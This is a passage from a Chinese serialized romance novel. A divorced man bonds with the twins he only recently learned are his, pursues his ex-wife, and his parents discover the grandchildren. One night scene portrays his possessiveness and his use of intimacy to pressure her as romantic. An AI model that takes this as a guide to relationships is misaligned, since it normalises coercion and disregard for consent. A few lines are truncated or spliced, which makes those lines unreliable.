俩孩子跟周静烟一样,很喜欢广式茶点,周云生还爱干炒牛河,大口大口吃着,赵叙平笑他就跟饿了八百年似的。 他抓起餐巾纸抹抹嘴,打个饱嗝,问:“赵叔叔,以后还能带我俩来这儿吃么?” 赵叙平笑:“以后常来,下回叫上妈妈一起。你们妈妈可喜欢吃这个了。” 周云生:“我都不知道妈妈喜欢吃这个!” 周听雨:“当然啦,妈妈很少带咱们出去吃嘛。” 赵叙平赶忙为周静烟说话:“妈妈是怕外面的东西不卫生,吃了生病。” 周听雨:“那你为什么带我俩上外面吃?” 赵叙平乐了:“嘿,不是你俩嚷着要在外面吃么?” 周听雨咧嘴:“嘿嘿,赵叔叔对我俩真好!” 赵叙平语重心长说道:“赵叔叔对你俩好,妈妈对你俩更好。叔叔不在的时候,你俩可得帮叔叔照顾好妈妈,记住了啊。” 周听雨点点头。 周云生听着这话不对劲,没说什么,吃完饭回到车上,见姐姐累得睡着了,才伸过小脑袋,压着声音问:“赵叔叔,你是不是喜欢我妈妈啊?” 赵叙平一愣,扭头看看窗外,摸摸后脑勺,清清嗓子。 “咳——那什么,你为什么会有这种想法?” 周云生紧盯着他:“就是觉着你喜欢她。” 赵叙平心里暗骂这臭小子,又来为难他。 承认吧,不太好;不承认,这话传到周静烟耳朵里,也不好。 他眨眨眼,别过脸冲着车窗,低声说了句:“大人的事儿,小孩儿别管。” “不可以喜欢我妈妈,因为妈妈已经有爸爸了,而且爸爸很快就要回来。” 周云生声音奶呼呼,语气一本正经,赵叙平听得忍俊不禁,扭头看着儿子这张跟自己儿时八分像的脸,好奇问道:“假如有别的叔叔追你妈妈,你会怎么办?” 周云生:“我会揍那个坏叔叔!” 赵叙平:“那个叔叔也不一定是坏人,人家只是喜欢你妈妈而已。” 周云生:“喜欢也不能追,妈妈是爸爸的!” 好儿子,赵叙平心想,深感欣慰,慈祥轻抚他脸颊,冲他竖起大拇指,点头附和:“对,妈妈是爸爸的。” 周云生:“那你到底是不是喜欢我妈妈?” 赵叙平笑着叹了口气:“我俩只是朋友。” 这话不算是骗孩子,但也不准确,毕竟周静烟现在肯定连朋友都不想跟他做。 车开回周静烟那儿,接到周静烟,她没坐后排,冷着脸上了副驾。 周听雨醒来发现母亲在车上,立马说:“妈妈,赵叔叔给你打包了好多吃的!他说都是你爱吃的!” 周静烟淡淡应一声。 回到赵叙平哪儿,周静烟看着这幢熟悉的别墅,心里百感交集。 助理已经将东西买齐送来,孩子们又恢复精力,玩到晚上十点还不困,赵叙平陪着他俩闹腾,脑瓜子都吵疼了,却舍不得跟他俩分开。 十一点,周静烟撵着孩子去睡觉。 洗澡这事儿,她负责女儿,赵叙平负责儿子。 “你带听雨睡一楼主卧,我带云生睡旁边客房。”赵叙平说。 周静烟摇头:“我跟听雨睡一楼吧。” 那间主卧承载了太多过往的记忆,她不愿面对。 赵叙平看着她,目光复杂:“我很久没睡那儿了。” 自她走后,他也不敢再睡主卧。 “我还是想睡一楼。”周静烟说。 “行。”赵叙平点点头。 他准备带周云生也睡一楼,就在她们母女俩隔壁。 下到一楼,周云生忽然说:“我不要赵叔叔陪,我自己睡!” 赵叙平:“房间挺大,不害怕?” 周听雨也忽然插话:“我要和弟弟睡!我俩本来就是睡一屋的!” 周静烟立马否决:“不行。” 周听雨不明白:“为什么在家行,在这儿就不行?” 俩孩子又开始软磨硬泡。 周静烟耐不住他俩,甩手往一楼走:“随便吧,爱睡哪睡哪!” 她气冲冲来到那间住了七年多的主卧,关上门,靠在门板上,仰头发愣。 夜里怎么都睡不着,周静烟在床上翻来覆去,不知过了多久,敲门声响起,她蓦地揪心,这才想起自己没将门反锁。 她飞快下床跑向门口。 已经晚了,男人已经进来。 赵叙平顺手反锁门,抱住飞跑而来的她,正要开口,忽地被她挣开,一个巴掌落到脸上。 “滚出去!”周静烟扇着巴掌骂道。 赵叙平摸摸脸,心想:这是真气了,扇这么狠。 他有些委屈,又知道自己没资格委屈,可怜巴巴说:“你要不高兴,扇我几个大耳帖子都行。” 周静烟冷笑:“那我可真扇了。” 他伸过脸来。 周静烟抱起胳膊,低头不作声。 两个人在黑暗中默默站了会儿,赵叙平又将她抱住,紧紧搂在怀中。 “周静烟,我爱你。” 以前这话死活说不出口,现在倒是随随便便就能开口。 周静烟又一声冷笑:“你不是爱我,你是爱孩子。” 他抱着她摇头:“爱你,也爱孩子。” 停顿片刻,怕她多心,他补充一句:“你排在孩子前头。” 周静烟没接茬。 他深吸一口气,又说:“知不知道我有多想你?梦过你千百回,这间主卧,今晚总算有你了。” 他在她颈侧吻起来,呼吸变得粗灼,手也开始不老实。 “云生今天在车上说,妈妈是爸爸的。”他含笑轻声在她耳旁呢喃,“周静烟,听到没?你是我的。我的。” 第54章 第54章【VIP】 这双薄唇太温柔,哪怕只是在颈侧游走,也让周静烟渐渐失去理智。 她轻摇着头,带着哭腔开口:“我不是谁的,我是我自己的。” 这人耍起无赖:“你是你的,也是我的。” 周静烟心里忽然涌起从前许多事,酸楚涩痛从心底蔓延,眼泪无声滑落。 从前,她是他的,而他只属于他自己。 他的心又冷又硬,连一句“爱她”都不肯说,敷衍都懒得敷衍。 他想吻就吻,想要就要,想怎么疯就怎么疯,不顾她的感受,因为她是他的,她被他完全占据。 那种生活,周静烟彻彻底底过够了。 所以今晚无论赵叙平如何耍赖,如何纠缠,如何磨她,她都不肯松口,说一句愿意。 赵叙平最知道怎么让她失控,紧要关头,他问她愿不愿意带孩子回来,不愿意就不给,她死咬着唇,拼命摇头。这当口比的就是谁先耐不住,周静烟想,这回若是妥协,她再也不会瞧得起自己,那些吃苦受罪的日子,全都白过了,人不能一次次都不长记性。 她死命忍住,赵叙平就忍不住了,无奈点点头,自己哄自己似的,说暂时不回来也行,反正他去看他们娘仨也一样。 这回过后,赵叙平不信邪,第二回又逼问她愿不愿意跟他复婚。他蓄力更猛,周静烟几乎耐不住,最难受的时候,她脑子里忽然想起从前,痛感又一次涌现,她瞬间清醒,知道自己要什么,不要什么。 她咬紧牙关,仍是冲他摇头。 来来回回几次,赵叙平都没得逞。但这也不妨碍他自洽,总能给她找理由,给自己找说法,好像她现在不愿意也没什么大不了,他吃准了她总有一天会点头。 隔天早上,俩孩子起床,盯着周静烟瞪大眼睛。 周云生惊讶:“妈妈,你眼圈好黑啊!” 周听雨正要附和,见赵叙平也黑着眼圈,哈哈大笑:“赵叔叔,你和妈妈有点像熊猫!” 周静烟屏住呼吸,脸颊发烫,脖子根也染上绯色。 她偷偷瞥一眼赵叙平,冲他蹙眉。 赵叙平心里门儿清,这是怨他一折腾就是一宿。 彻夜未眠,这会儿他也挺累。不过只要能让他吃饱,累就累吧,那滋味儿尝够了,再累他也愿意。 赵叙平冲她扬唇,被她默默白了一眼,压根不气,乐呵呵问孩子想吃什么,周云生笑得狡黠,冲他招招手,他抱起周云生,这家伙趴在他肩头说悄悄话:“还想吃麦当劳!” 赵叙平摇头,凑到他耳边:“不行,那玩意儿哪能天天吃。” 周听雨抓着他裤腿撒娇:“赵叔叔,我也要抱抱,我也要!” 赵叙平赶忙放下儿子,给闺女举高高,问道:“听雨想吃什么?” 周听雨反问:“赵叔叔想吃什么?” 赵叙平乐了:“我吃什么你就吃什么?” 周听雨点点头:“赵叔叔对我好,我也要对赵叔叔好。” 赵叙平心都化了,脸颊贴了贴她的脸,眼眶湿润。 周听雨捧起他的脸*,不解:“赵叔叔,你怎么哭啦?” 赵叙平扬唇:“听雨对叔叔好,叔叔特开心。” 周云生嘟囔一句:“马屁精!” 周听雨低头冲他嚷:“哼!你就是嫉妒我嘴甜!” 周云生哪懂什么叫嫉妒,也懒得问,噘着嘴跑开。 赵叙平笑着点点闺女鼻子:“哟,你还知道嫉妒啊?” 周听雨抬头看他,换上一副笑脸,跟看弟弟时那嫌弃的神情完全不同。 “赵叔叔教过我呀!你说过,我爸爸特别帅,你都嫉妒了!” 周静烟正喝着水,一口喷出来,笑得止不住。 饶是赵叙平脸皮再厚,这会儿也有些不好意思,清了清嗓子,看向女儿,夸道:“听雨记性真好,学习能力真强。” 女儿挥舞着两只小手,嘴里咿咿呀呀唱起歌。 另一边,周云生大声“哼”一声,跑进昨晚睡的那间卧室,砰地关上门。 周静烟看看紧闭的门,又看向赵叙平,蹙眉提醒:“干嘛老在一个面前夸另一个?公平起见,要夸一起夸。” 赵叙平瞥一眼那扇门:“咱得实事求是,听雨嘴甜,这是不争的事实。云生那张嘴,不气人就不错了。他做得好我肯定夸,做得差劲也不能硬夸。” 点儿大,他懂什么呀!” 上对自己说的话,不禁笑道:“懂得可多了。” 周个孩子?有些事儿你得好好跟他说。” 赵叙平:“男孩儿不能养得太矫情。” 这话周静烟不同意:“丫头小子都是孩子,手心手背都是肉,平时我俩任何一个。有时候我确实会揍云生,那也是才他又没什么错,见你跟听雨好,吃醋也正常, 赵叙平不想哄儿子,倒是愿意哄她,笑笑说:“行,听你的。” 他放下闺女,揉揉闺女可爱的小脸蛋:“叔叔进去跟弟弟说会儿话。” 来到那间客房,赵叙平见儿子盘腿坐在落地窗前,走过去停在儿子身旁,学着他盘腿坐下,扭头笑眯眯瞧他。 “我跟姐姐好,云生不高兴?” 周云生小嘴噘得能挂油瓶,赌气摇头。 赵叙平轻抚他脑袋,看着这颗可爱的小寸头,乐了:“你啊,和我小时候一模一样。” 周云生斜眼瞥他,小脑袋嗖地转向另一面,后脑勺冲着他。 赵叙平也转过脸,望向窗外,低声说:“其实叔叔能理解你。叔叔有一个妹妹,不过她出生的时候,我挺大了,所以爸妈宠她,对她好,我不怎么吃醋。你和姐姐同一天出生,吃她的醋很正常。” 小脑袋终于转过来,看着他,问:“什么是吃醋?” “我夸听雨的时候,你不舒服的那种感受,就是吃醋。” “哦。” “还记得咱俩的约定吗?” “嗯!” “叔叔答应过你,只要你好好学习,健康长大,以后叔叔教你开公司,当老板,赚大钱。” “嗯!赵叔叔,你要说到做到!” 赵叙平笑着点头:“赵叔叔这人最讲信用了。” 周云生歪起脑袋:“真的?” 赵叙平:“当然,不信问问你妈妈。” 周云生:“你答应过妈妈什么事儿?” 赵叙平:“答应过给她巧克力。” 巧克力是周云生最爱吃的零食之一,听到这三个字,他眼睛瞬间亮了,瞪得老大:“什么时候?我怎么不知道!” 赵叙平屈着手指顺着他鼻梁轻轻刮下来:“你当然不知道,那会儿还没你呢。那时候你妈妈都是个小屁孩儿。” 周云生惊讶:“哇,你和妈妈早就认识啦!” 赵叙平:“妈妈小时候可没你淘。” 周云生理所当然:“我是男孩儿嘛。” 赵叙平笑笑:“也是,男孩儿张扬些挺好。” 周云生:“你给妈妈的巧克力好吃吗?” 赵叙平:“这你得问问她。” 周云生一骨碌转身,冲着赵叙平跪下,笑容要多谄媚又多谄媚:“嘿嘿,赵叔叔,你给妈妈的巧克力是什么样儿的?” 小样儿,想吃巧克力直说,赵叙平心想,忍着笑没戳破,起身走到衣柜前。 这间客房平时没人住,柜子里没衣服,只放了床品。赵叙平拉开左边第三个抽屉,从里面拿出一个包装上印着英文的长盒。 他回到周云生旁边坐下,将东西递给他。 “哇,这就是你给妈妈的巧克力?”周云生咽了咽唾沫。 赵叙平:“你妈妈应该挺喜欢,她吃了这个就不哭了。” 周云生好奇:“那她为什么哭?” “她——”赵叙平不知如何跟孩子解释这事儿。 周静烟的成长过程太不幸,每每想起,赵叙平都心痛不已。 “妈妈有跟你说过她小时候的事儿么?”赵叙平问。 周云生摇摇头:“没说过。” 赵叙平:“那你知道姥姥姥爷的事儿么?” 周云生仍摇摇头。 赵叙平思忖片刻,说:“妈妈小时候过得可没你和姐姐开心,叔叔告诉你这个,是希望你更心疼妈妈,对妈妈好,听妈妈的话。这事儿你自己知道就成,别跟妈妈提。” 小家伙郑重答应:“好!” 赵叙平轻轻搂着他肩膀,笑道:“叔叔不是不喜欢你,只是觉着咱俩都是男的,爷们儿之间,没必要腻歪,咱俩可以像哥们儿那么处着。” 周云生仰脸看他:“那咱们俩以后就是兄弟啦?” 赵叙平一愣,笑出声:“那不差辈了么?想得美!我是说,咱俩可以像哥们儿一样相处,不代表咱们就是哥们儿。” 周云生被他绕晕了,皱着眉,苦着脸,听得稀里糊涂,目光一转,留在那盒巧克力上,眉头立马舒展。 “我能尝尝这个么?” 赵叙平赶紧起身,将巧克力放回衣柜里:“不行,这个过期了。” 周云生:“没事儿,抖音上说,有些东西过期也能吃。” 赵叙平又气又想笑,回到他身边,轻轻推了推他脑袋:“少看抖音,看多了脑子会变笨。” 周云生耷拉着头,叹气:“可是有时候妈妈忙,没空管我,我也不想学习,只能玩玩手机。” 说到这,他眼睛忽地一亮,笑起来:“不过爸爸快回来啦!爸爸回来,就有人陪我玩儿了!” 赵叙平低头沉默,不知跟孩子摊牌以后,他俩会不会怨他。 “赵叔叔,爸爸以前为什么不回来呀?”周云生问。 “他……不知道。”实在不想骗儿子,赵叙平答得模棱两可。 周云生以为,他不知道原因,而他的意思是:自己以前压根不知道孩子的存在。 若是知道,早就把他们娘仨接回来了。无论用什么法子,都会接回来。 怕儿子问得更深,赵叙平起身:“走吧,咱们吃早饭去,别让姐姐和妈妈等急了。” 他们刚从房间出来,周听雨忙不迭跑到赵叙平跟前。 “叔叔叔叔,你俩说什么啦?” 周云生抢在赵叙平前头开口:“秘密!” 说完,仰脸看着他:“保密!不许告诉她!” 周听雨小手叉腰:“小气鬼!” 赵叙平看看闺女,又看看儿子,幸福笑容中,透着几分无奈,扭脸看向周静烟,见她抱着胳膊看他们仨,冲她扬扬下巴。 周静烟转身就往电梯走。 热脸贴了冷屁股,赵叙平也不难受,望着她背影问:“不一起吃早餐吗?” 周静烟走到电梯前才回头:“你们吃吧,我补一觉。” 赵叙平知道她为什么需要补觉,扬起唇角,笑得难免有些嘚瑟。 瞧他这样儿周静烟就烦,冷冷飞过去一记眼刀,默不作声走进电梯。 赵叙平带着俩孩子出门吃早餐。 车开进一条街,街边早餐铺子多,赵叙平下车,一手牵一个孩子,走到一家老字号门钉肉饼店门口,低头问:“想吃这个么?” 周云生:“行。 周听雨摇头:“不要,这个好油呀,我不爱吃。” 赵叙平正打算看下一家,想起周静烟说过不能偏心,于是问儿子:“云生想吃么?想吃给你打包一份。” 周云生:“姐姐不吃我也不吃,我吃什么都行。” 赵叙平欣慰看着他,想:不愧是自己儿子,没那么多讲究,不矫情。 赵叙平牵着孩子往前走,来到包子铺,手指着门口热气腾腾的蒸屉:“赵叔叔,我想吃这个!” 赵叙平问周云生:“想跟姐姐一起吃小笼包么?” 周云生点头。 仨人进店找地方坐。店里人多,只剩门口一张桌空着,赵叙平背对店门而坐,闺女坐他旁边,儿子坐他对面。 赵叙平点了好几种口味,和孩子们一起吃得津津有味,全然不知道自己身后马路上,停下一辆车,后座降下车窗,车里的人盯着他和孩子看了会儿。 一阵急促的喇叭声响起,吓孩子们一跳,赵叙平这才不满地扭头看向身后。 这辆停着的保时捷在喇叭声的催促中开走,而赵叙平压根没留意这车的车牌号。 周日,章芝纭起了个大早,亲自打理一会儿花园,换上运动服出发赴约。 途中经过一条闹市,车速放缓,章芝纭扭头望着窗外,看见一个熟悉的背影,忽地愣住,揉揉眼睛,吩咐司机停车。 章芝纭降下车窗,又让司机再往前开一点儿,到了那个背影的斜对面,她盯着那人的侧脸,确认那是自己儿子,又看向他同一桌的俩孩子身上。 章芝纭目光在儿子和俩孩子之间来回转,见儿子跟他俩夹包子,心脏越跳越快。 尖锐的喇叭声吓得她直拍胸脯,赶忙让司机开走,过了这条街,她又让司机调头,往家里开。 路上,章芝纭打电话告诉朋友,自己临时有事儿,没法赴约爬山,碰巧朋友那边家里也临时来了亲戚,走不开,两人都来不了,只能换个日子再聚。 回家途中,章芝纭握着手机,好几次想拨下儿子号码,思虑再三,又都忍住了。 一进家门她便喊道:“老赵!老赵!” 管家告诉她赵先生在三楼书房,她小跑着进电梯,还没到书房又开始喊:“老赵!老赵!” 推开门,章芝纭冲到书桌前,双手撑着桌面,气喘吁吁看着丈夫。 赵天成皱眉起身过去扶她:“怎么了这是,出什么事儿了?” 章芝纭捂着胸脯,大口喘气,断断续续说:“叙平……叙平他……他跟俩——俩——” “俩什么?” “俩孩子!” “他跟俩孩子怎么着?他跟俩孩子打起来了?!” 章芝纭一听这话,立马哈哈大笑。 “想什么呢你!他都奔四的人了,还能跟俩孩子打,他脑子有病啊!” “也说不准啊,他脑子确实跟咱普通人不一样。” 章芝纭眼泪都笑出来,拍了拍丈夫肩膀:“别逗我乐了,说正经的!” 赵天成表情秒变严肃,认真看着她:“叙平怎么了?” 章芝纭脑袋凑过去,不自觉压低声音:“我不是准备爬山么,半路看见叙平带着俩孩子在早餐店里吃包子!” 赵天成:“他带俩孩子?” 章芝纭:“对!他自个儿带着俩!” 赵天成不信:“他哪儿来的孩子啊,肯定是跟别人拼桌,早餐铺子店小人多拼桌很正常。” 章芝纭眉头紧蹙:“不是!他还给那俩孩子夹包子呢!还冲孩子笑,哎哟,你是没见着,那叫一个乐呵!” 赵天成困惑:“没准儿是朋友的孩子?不对,他不喜欢小孩儿,对孩子可没什么好脸。” 章芝纭点头:“对呀!而且那俩孩子瞧着差不多大,模样也八分像,一个丫头一个小子,最关键是——” 赵天成:“啊?” 章芝纭:“最关键是,他俩都特像叙平!” 赵天成立马明白妻子什么意思,忽地紧锁眉头:“你是说,那俩孩子是叙平的?” 章芝纭:“百分之百是!” 赵天成惊得愣住,摇摇头:“不大可能,离婚这些年,他谁也没找,怎么会有孩子?” 章芝纭哼笑:“你们男人撒种还不容易啊?” 赵天成头摇得飞快:“别算上我,我可从没在外边儿乱来。” 章芝纭乐了:“咱家老赵是例外,是好老爷们儿,跟那些乌七八糟的人不一样!” 赵天成默默想了想,问:“俩孩子看着多大?” 章芝纭:“个头瞧着像是四五岁那样,不过也说不准,叙平从小就可高了,孩子身高肯定随他。而且上回他不是着急忙慌照小时候照片么,记得么?” 赵天成:“记得。这事儿怎么说?” 章芝纭含笑开口:“那天我陪他照照片,他还问我咱俩家里有没有双胞胎或者龙凤胎基因,今儿我才明白,为什么他会这么问!肯定是发现自己可能有俩孩子,那俩孩子是龙凤胎,一开始不确定是不是自己孩子,见孩子跟自己长得像,所以拿自己小时候的照片对照一下。” 赵天成:“这么说,他以前也不知道自个儿有孩子?” 章芝纭:“我估摸着是。” 赵天成内心激动不已:“那还等什么?赶紧叫他回来!” 章芝纭摇了摇头:“之前我让他周末回来,他说忙,告诉我要搞新项目,周末得开会,现在看来,八成都是胡说!周末肯定一直陪孩子!” 赵天成:“打电话问问这事儿?” 章芝纭:“别,他既然没告诉咱俩,说明不想告诉,问也白搭。” 赵天成:“那你打算怎么着?真要是是他孩子,肯定得搞清楚孩子妈是谁,让叙平赶紧跟人领证。” 章芝纭思忖片刻,说道:“明儿他要回来吃晚饭,咱们旁敲侧击试探一下,看看他什么反应。” 赵天成点头:“行。” 章芝纭仰脸望灯,笑着长舒一口气。 “哎哟,没想到我这把年纪,还能抱上孙子孙女!” 说完,她又红了眼。 赵天成搂着妻子肩膀,感慨叹息,也跟着落泪。 吃完小笼包,赵叙平问俩孩子今天想玩什么,周云生说想去室外游乐场,周听雨说还想去昨天商场里那个儿童乐园,赵叙平让他俩石头剪子布,谁赢就先去谁想玩的地方。 三局下来,周听雨两胜,仨人在商场玩了一上午,赵叙平带孩子们顺便再商场四楼吃西餐。 他在西餐厅里给周静烟打电话,想让她过来一起吃,周静烟没接,他又发了几条消息,她也没回。 赵叙平心里多少有些失落,看着孩子们狼吞虎咽吃得开心,忽然想:一天挽回不了她的心,那就用余生每一天来挽回。 他这才感受到爱情的美好之处——心绪起起伏伏,他被这份感情时刻牵动着,得不到就越想,这强烈的羁绊感,何尝不是一种令人痴狂的体验? 下午来到室外游乐场,两个孩子玩疯了,撒丫子乱跑,他差点儿找不到周云生,好不容易把儿子揪回来,气得他大声训斥一顿。 周云生前一秒道歉,下一秒撒腿就跑,赵叙平知道追也白费劲,只能目光紧盯着他俩,赶紧打电话给助理,让他过来跟着一起看孩子。 俩大老爷们儿在游乐场看了一下午孩子,太阳落山,孩子都不愿意回来,赵叙平好说歹说,总算把他们哄出游乐园。 上了车,周听雨“电量”耗尽,跟上次一样,很快就睡着,周云生则挨了赵叙平一路训。 回到家已经晚上八点半,孩子们洗完澡,倒床上就秒睡,赵叙平又想溜进周静烟房间,却发现自己来晚一步——房门已经被她反锁。 其实赵叙平可以找备用钥匙开门,可他想着她要是实在不愿意,自己强来只会更惹她反感,便老老实实待在另一间房给她发消息。 赵叙平:【要一直不理我么?】 周静烟没回。 赵叙平:【想你一整天】 周静烟:【你烦不烦?我要睡觉!】 赵叙平:【你睡你的,我发我的】 等了几分钟,没收到周静烟回复,他又发过去:【一个人带俩孩子出去玩儿可真不容易,我总算体会到你有多辛苦了】 赵叙平:【以后由我来替你分担这份辛苦】 赵叙平:【中午吃的什么?】 赵叙平:【晚饭吃的什么?】 赵叙平:【要不你还是理理我吧……一个人唱独角戏挺无聊的】 赵叙平:【真狠得下心不理我?】 赵叙平:【周静烟!】 他咽不下这委屈,立马打电话过去,发现对方已经关机,气得将手机摔床上,搓搓脸,又揉揉头,仰脸长长呼气,停顿一会儿,低头点了根烟。 原来被人吊着,是这种滋味啊。 今天他不仅体验到带孩子的辛苦,还体验到了爱情有多苦。 现在的他,终于对曾经的周静烟感同身受。 第二天一早,周静烟要带孩子回去,赵叙平留他们吃完早餐再走,她不肯跟他一起吃,赵叙平只能让司机送他们走,吩咐司机找个好的馆子。 到公司赵叙平就给周静烟发消息,问她吃了什么,她照例没回。 赵叙平默默坐在办公椅上自我反省:兴许是自己发的消息都太无聊,让她觉得可回可不回。 那就发点不无聊的。 赵叙平点开许久未点的抖音,特意搜索搞笑视频,一连给周静烟分享好几条。 半晌那边终于回了一条语音。 赵叙平激动得攥拳,兴奋点开语音,听到的,却是儿子的声音。 “赵叔叔,你不是说看抖音会变笨吗?你自己不是也挺爱看?” 赵叙平深吸一口气,靠着椅背发语音回:“妈妈手机怎么在你这儿?” 周云生:“妈妈在煮早餐,她说外面的东西不卫生。” 赵叙平:“行,在家吃最好。对了,你妈妈微信上给我备注的是什么?” 周云生:“备注?听不懂……” 赵叙平:“你看现在咱俩聊天这个页面,最上头那行字,写的什么?” 周云生:“嗯……什么什么头……前两个字儿我不认识,只认识最后那个‘头’。” 赵叙平:“姐姐呢?在你身边么?问问她去。” 过了会儿,赵叙平点开一条新听语音,那头传来女儿甜甜的声音。 “赵叔叔,妈妈给你的备注是——‘别回头’!” 第55章 第55章【VIP】 女儿的话让赵叙平心里像是被重锤狠狠敲了一下,疼痛到近乎窒息。 窒息感让他喉咙发堵。许久,他沉声开口:“你俩在家要听妈妈的话,下周叔叔再带你俩出去玩儿。” 女儿回得很快,声音很小:“好的赵叔叔,谢谢你!妈妈要过来了,先不跟你说啦!” 孩子总归是孩子,不知道大人看见记录就知道他们偷偷聊过。 赵叙平扯扯唇,放下手机,靠着椅背仰脸叹息,陷入回忆中出不去。 郁郁寡欢一上午,午休时,赵叙平忽然接到周静烟打来的电话,欣喜若狂,立马拿起手机接通,生怕下一秒她就挂了。 “你以后能不能别指使孩子们偷看我隐私?”周静烟怒气冲冲问。 赵叙平愣了愣,反应过来她这话什么意思,沉默片刻,语气愧疚:“对不起啊,以后不这样了。” 周静烟冷笑一下:“这次知道就知道了,你心里也清楚了,我是不会再回头的。” 好一会儿,赵叙平淡淡开口:“你回不回头,我都在原地。” 那边沉默片刻,挂断电话。 赵叙平握着手机,目光呆滞望着前方,唇角浮现一抹苦笑。 下午的心情比上午更糟,赵叙平好不容易熬到下班,回到车里,头顶的乌云仍未散去,一路紧跟着他,跟到了父母家。 见着父母,他强挤出笑容打招呼,故作轻松愉快。 安静吃完晚饭,赵叙平提出陪母亲散步,破天荒被母亲拒绝。 母亲往茶室走,说想插花,他跟着过去,父亲也跟在一旁。 赵叙平隐约察觉不对劲。 进了茶室,母亲手上插花,嘴上没闲着,与他东聊聊西唠唠,赵叙平耐着性子等了好一会儿,终于忍不住,侧头看向母亲,语气几分不耐:“妈,有什么话您直说吧,别绕弯子了。” 章芝纭怔住,看向丈夫。 赵天成轻轻咳嗽一声,低头看手机,假装看得正起劲。 章芝纭扭脸望着坐在丈夫身旁的儿子,神情意味深长,问道:“昨天忙什么呢?” 赵叙平脱口而出:“加班。” 章芝纭:“一大早就去加班?” 赵叙平点头。 章芝纭眨眨眼:“真的?” 赵叙平越发觉得不对劲,眉心紧锁:“妈,您有话直说。” 章芝纭脸上浮现笑意:“没去吃包子?” 赵叙平蓦地愣住,眉头皱得更深,心里一紧:“您看见我了?” 章芝纭笑意更深:“也看见那俩孩子了。” 赵叙平怔怔望着母亲,惊得一时语塞。 章芝纭继续笑道:“也是巧了,昨儿原本想去爬山来着,开车路过那家早餐店,看见你带着俩孩子坐里面吃包子。” 她刚说完,赵天成直起身子,憋不住开口:“他俩跟你什么关系?” 赵叙平已经恢复平静,垂眸片刻,掀起眼皮看了看父母,淡声说:“你俩心里都有答案了,还问我干嘛?” 赵天成急得拍桌:“我们这不是跟你确认么!” 赵叙平别过脸:“那我给你俩一句准话——丫头是我的,小子也是我的,我是孩子爹。” 章芝纭啪地放下剪刀,手捂着心口,“哎哟哎哟”叫唤几声,跌坐在椅子上。 “做、做过亲子鉴定了?确定是你的?”赵天成颤着声问。 赵叙平低头:“孩子跟我这么像,时间也对得上,亲生的没跑了。” 章芝纭:“时间对得上?他俩多大?” 赵叙平:“他俩龙凤胎,今年阳历九月九满三岁。” “太好了太好了……我就说肯定是你的!哎哟,还是对龙凤胎!这也太好了!老赵,咱俩当爷爷奶奶了!”章芝纭笑着笑着,忽然板起脸,目光从丈夫脸上挪向儿子,“不对,今年九月九满三岁,怀上的时候你跟静音还没离婚——” 赵天成立马明白妻子的意思,火气噌地窜上来,抬手就给儿子一个大耳帖子,指着儿子怒骂:“赵叙平,你敢婚内出轨,太不是东西了!” 巴掌来得猝不及防,力道还猛,赵叙平被扇懵,愣愣看着父亲。 对面是自己亲爹,总不能扇回去,他再气也只能无奈捂着脸干瞪眼。 “不是,这都哪儿跟哪儿啊!我什么时候婚内出轨?你俩心里,我就是这种人呐!” 章芝纭指着他直发抖:“你干的混账事还少么?难怪静烟跟你闹离婚,原来是抓到你在外面胡搞!还搞出孩子来!” 嫌弃静烟生不出孩子?赵叙平,从小我就教育你,做人要仁义厚道,你良心被狗吃了?” 赵叙平气,被这个误会气得发笑,扶额仰脸,不住地微微摇头。 “不是,你俩能不能别老这么冲动?没问明白赵叙平就是坏事做尽,也不可能出” 住,瞪大眼睛瞧着他。 他坐回椅子上,架起二郎腿,漫不经心开口:“周静烟是孩子亲妈,我是孩子亲爸。” “静烟生的……她不是、不是——” 赵叙平知道母亲想说什么,打断道:“当初医生也没断定她绝对怀不上啊,难怀不等于怀不上,后来不还是怀上了?” 他顿了顿,唇角笑意遮不住:“她自个儿争气,我也挺能耐的。” 章芝纭起身走到丈夫跟前,与丈夫相拥而泣。 见父母这般高兴,赵叙平也开心。 “这不好事儿么,你俩哭什么啊?” “我跟你爸太高兴了!我俩终于当爷爷奶奶了!你也是,怎么不早点儿跟我们说!” 赵叙平摸摸鼻子,没好意思看父母,垂眸沉默,过了会儿才说:“我最近才知道当年周静烟偷偷生下孩子,没去南方,一直在老城区住着。” 赵天成急得跺脚:“还等什么呢!赶紧把静烟跟孩子都接回来!” 赵叙平头埋得更低,声音也小:“周静烟不同意跟我复婚,只让我跟孩子相认。” 章芝纭红了眼眶,话到嘴边又咽下,闭着眼摇摇头,叹息一声才开口:“她不愿意复婚,作为女人,我能理解……不过她既然愿意让你跟孩子相认,肯定也愿意让我和你爸跟孩子相认!” 章芝纭慌忙四处张望:“手机呢?我手机呢?我现在就给静音打电话,现在就让司机过去接他们!” 她在桌上找到自己手机,拿起正要打,被儿子拦住。 “别,妈,别这样,我跟静烟说好了,先以叔叔的身份跟俩孩子相处一阵儿,过段时间再坦白。” 他不着急,周静烟也不着急,章芝纭和丈夫急得抓心挠肺,你一句我一句数落起儿子。 “虽说你跟静烟离了,可你也不能对人家这么冷淡!几年都不关心一下,连人家生孩子也不知道!” “就是!哪有你这样的!” “知道自个儿有孩子,也不第一时间告诉我跟你爸!你又不是不知道我俩多想要孙子孙女!这么大的喜事儿还藏着掖着!” “可不嘛!简直不孝!大逆不道!” “哎哟,老赵,我头晕!” 赵天成扶妻子坐下,轻轻拍着她后背,给她顺气:“缓缓,缓缓,咱现在可不能病,还没见着孙子孙女呢!” 章芝纭用力拍了拍桌,对儿子说:“赵叙平,你个准话,什么时候让我俩见孩子?” 赵叙平长长叹息一声,思忖好一会儿,看着她开口:“周末我带孩子过来吃饭,下周我跟他俩坦白。” 赵天成等不及:“就非得等到周末才能带过来?” 赵叙平又是一声叹息:“我觉着周静烟需要点儿时间缓缓,我跟孩子相认,对她冲击也挺大的。” 章芝纭不禁点头:“那倒是……我能跟静烟私下联系么?就是告诉她,我和你爸已经知道你俩有孩子,想对她说声感谢,感谢她把孩子生下来,感谢她把孩子健健康康养到现在,还想对她说声辛苦了……” 同为女人,章芝纭深知这些年周静烟一个人从怀孕到分娩,再到养育孩子——并且是两个孩子,这一路走来,她到底有多不容易。 赵天成也劝道:“是啊,这些年真是苦了静烟,所以复婚这事儿不能急,你着急复婚,静烟会以为你只是为了孩子。先跟孩子慢慢相处,多找机会跟静烟接触。你俩一起生活了七年,说不定她对你还是有感情的。” 赵叙平点头,心里发酸,不敢奢望周静烟对自己还有感情,只盼着她能原谅自己。 “妈,您跟静音说说,看她愿不愿意让孩子来这儿做客,她要是愿意跟着一起来最好,要是不愿意,你也别强求,咱别给她太大压力。”赵叙平说。 章芝纭拿眼瞥他:“用不着你提醒,你妈我为人处世没得说!” 